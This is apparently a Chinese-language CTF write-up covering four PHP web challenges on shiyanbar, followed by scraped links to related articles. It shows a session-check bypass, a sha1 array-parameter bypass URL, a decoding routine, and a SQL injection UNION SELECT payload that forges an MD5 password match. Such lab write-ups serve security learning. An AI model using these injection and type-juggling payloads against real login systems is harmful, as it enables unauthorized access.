【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题
guess next session源码:
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
} mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
要求password=session时,输出flag,所以设置session值为0,提交password为0时可以成功
bp抓包出了问题,

右键删除PHPSESSID,空白密码提交,就出来了:

FALSE:
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
name!=password,但sha1后name=password时,可以成功
补充:sha1漏洞
md5 和 sha1 无法处理数组,返回 NULL if (@sha1([]) == false)
echo 1;
if (@md5([]) == false)
echo 2;
echo var_dump(@sha1([]));
md5和sha1无法处理数组,所以可以设置为数组,得sha1值都为Null,于是构造:
http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2
注意,name!=password,取值要不同

NSCTF web200
打开图片就是把给出的字符串逆着解码 ,于是逆着原来的编码进行解码:
<?php
function decode($str)
{
$_=''; $a=base64_decode(strrev(str_rot13($str)));
for($i=0;$i<strlen($a);$i++)
{
$_c=substr($a,$i,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
print decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws");//解码得flag ?>
得到flag:

程序逻辑问题:
看一下源码:
<html>
<head>
welcome to simplexue
</head>
<body>
<?php if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];//输入的用户名
$pass = md5($_POST[pass]);//输入密码的md5密文 $sql = "select pw from php where user='$user'";//从php表中检索用户登陆时输入的用户名的密码(pw列)
$query = mysql_query($sql);//执行sql变量的SQL语句
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);//声明row变量是把sql变量的SQL语句执行后返回的结果转换为数组
//echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";//如果row变量中pw的内容和用户登陆时输入的密码的MD5密码相同,则输出“Logged in!”并输出key
}
else {
echo("<p>Log in failure!</p>"); } } ?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
通过上述对代码的分析,因此,我们只需要让输入的密码的MD5密文和数据库检索出来的密码匹配就可以绕过验证,得到key
于是注入:
xxx' and 0=1 union select "C4CA4238A0B923820DCC509A6F75849B" # 密码输入1
输出flag:

【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题的更多相关文章
- 【Azure 应用服务】NodeJS Express + MSAL 实现API应用Token认证(AAD OAuth2 idToken)的认证实验 -- passport.authenticate('oauth-bearer', {session: false})
问题描述 在前两篇博文中,对NodeJS Express应用 使用MSAL + AAD实现用户登录并获取用户信息,获取Authorization信息 ( ID Token, Access Token) ...
- 实验十五 GUI编程练习与应用程序部署
实验十五 GUI编程练习与应用程序部署 实验时间 2018-12-6 一:理论部分 1.Java 程序的打包:编译完成后,程序员将.class 文件压缩打包为 .jar 文件后,GUI 界面序就可以 ...
- ???Struts2框架03 session的使用、登录逻辑【session工作原理】
1 登录逻辑 1.1 获取登录数据(例如:用户名.密码) 1.2 在控制层调用业务层来验证数据信息 1.3 登录成功:保存用户信息(服务器用session.浏览器用cookie),跳转到主页面 1.4 ...
- 理解session及微信小程序使用session
session介绍 由于Http是无状态的协议,所以服务端需要记录用户的状态时,就需要某种机制来识别具体的用户,实现这个机制的方式就是session. 典型的场景比如购物车,当你点击下单按钮时,由于H ...
- 实验吧——NSCTF web200
题目地址:http://ctf5.shiyanbar.com/web/web200.jpg 打开就是个自定义加密函数,只要写出相应的解密算法就行 <?php function encode($s ...
- 实验吧_Guess Next Session&Once More(代码审计)
Guess Next Session 看题目提示,是一道代码审计: <?php session_start(); if (isset ($_GET['password'])) { if ($_G ...
- NSCTF web200
Topic Link http://ctf5.shiyanbar.com/web/web200.jpg 1) 分析代码可知a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQ ...
- 实验吧-web-Guess Next Session(session简介)
看代码: <?php session_start(); if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION[' ...
- 实验吧—Web——WP之 FALSE
打开链接,点击源码按钮,我们开始分析源码: 在这源码中我们能看出 如果名字等于密码就输出:你的名字不能等于密码 如果名字的哈希值等于密码的哈希值,那么就会输出flag 这就意味着我们要上传两个值,值不 ...
随机推荐
- 爬虫之图片懒加载技术、selenium和PhantomJS
爬虫之图片懒加载技术.selenium和PhantomJS 图片懒加载 selenium phantomJs 谷歌无头浏览器 一.图片懒加载 什么是图片懒加载? 案例分析:抓取站长素材http:/ ...
- 【bzoj3033】太鼓达人
3033: 太鼓达人 Time Limit: 1 Sec Memory Limit: 128 MBSubmit: 521 Solved: 399[Submit][Status][Discuss] ...
- 095 Unique Binary Search Trees II 不同的二叉查找树 II
给出 n,问由 1...n 为节点组成的不同的二叉查找树有多少种?例如,给出 n = 3,则有 5 种不同形态的二叉查找树: 1 3 3 2 1 ...
- html文本框和按钮这些点击时不显示边框的光晕
直接在样式加:focus{outline:0;}这样子就可以了
- Codeforces 371BB. Fox Dividing Cheese
Two little greedy bears have found two pieces of cheese in the forest of weight a and b grams, corre ...
- C#入门笔记3 表达式及运算符
C#表达式 表达式,把变量.字面值与运算符组合起来,就创建表达式,是计算的基本构件.字面值:是源代码中键入的数字.字符串,表示指定类型的值.常用有几种:整数.实数.字符.字符串. 整数字面量[也能使用 ...
- 在页面实现qq跳转链接
http://shang.qq.com/v3/widget/consult.html
- Json字符串转excel表格文件
假如我们有一段json串,该json串是由一系列结构相同的数据集合组成,如下: { "data": [ { "groupId": "com.test. ...
- Android - CollapsingToolbarLayout 完全解析
CollapsingToolbarLayout 是 google 在其推出的design libiary 中给出的一个新型控件.其可以实现的效果类似于: toolbar是透明的,有一个背景图片以及大标 ...
- Linux SSH无密码login
一:ssh原理图为: 1.就是为了让两个linux机器之间使用ssh不需要用户名和密码.采用了数字签名RSA或者DSA来完成这个操作 2.模型分析 假设 A (192.168.20.59)为客户机器, ...